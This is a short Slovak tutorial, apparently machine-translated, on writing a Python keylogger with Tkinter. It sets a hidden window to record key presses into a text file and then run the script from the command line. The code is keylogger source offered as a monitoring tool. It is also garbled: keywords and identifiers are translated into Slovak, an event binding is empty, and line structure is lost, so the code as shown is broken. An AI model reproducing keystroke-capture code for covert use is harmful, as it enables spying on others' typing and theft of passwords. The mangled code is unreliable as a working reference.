Ako vytvoriť Keylogger pomocou Pythonu

Žena pri počítači pozerá cez rameno

Zachyťte stlačené klávesy a uložte ich do súboru.

Kredit za obrázok: Jupiterimages/Photos.com/Getty Images

Pomocou Pythonu môžete vytvoriť program na zaznamenávanie klávesov na zachytenie stlačených klávesov napísaných na klávesnici počítača. Stlačenia klávesov sa ukladajú do textového súboru, ktorý zaznamenáva všetky vstupy. Na sledovanie aktivity na vašom počítači môžete použiť key logger.

Krok 1

Spustite IDLE, kliknite na ponuku „Súbor“ a vyberte „Nové okno“, čím spustíte nové okno. Stlačením Ctrl a S otvorte okno „Uložiť ako“. Ako názov súboru použite „getKeyLogger“ a kliknite na „Uložiť“.

Video dňa

Krok 2

Pridajte nasledujúci riadok kódu na importovanie priestoru názvov „Tkinter“ a definujte cestu k súboru, ktorý chcete použiť na protokolovanie:

importovať Tkinter ako tk myFile = open("C:/temp/keyFile.txt", "w")

Krok 3

Skopírujte a prilepte nasledujúci kód na uloženie každého stlačenia klávesu do súboru:

def keypress (udalosť): if event.keysym == 'Escape': main.destroy() keyPressed = event.char myFile.write (keyPressed)

Krok 4

Pridajte nasledujúci kód, aby používateľ vedel, že môže začať písať a že môže stlačiť Esc na ukončenie programu:

hlavný = tk. Tk() print "Stlačte ľubovoľnú klávesu (kláves Escape pre ukončenie):" main.bind_all('', stlačenie klávesu) main.withdraw() main.mainloop() myFile.close()

Krok 5

Kliknite na tlačidlo Štart "Windows" a do poľa "Hľadať programy a súbory" zadajte "cmd". Stlačením klávesu Enter otvorte príkazový riadok. Prejdite na „C:\Python“ a zadajte „python getKeyLogger.“ Stlačením klávesu Enter spustite program. Prejdite na "C:/temp/" a dvakrát kliknite na "keyFile.txt", aby ste zobrazili údaje o stlačení klávesov.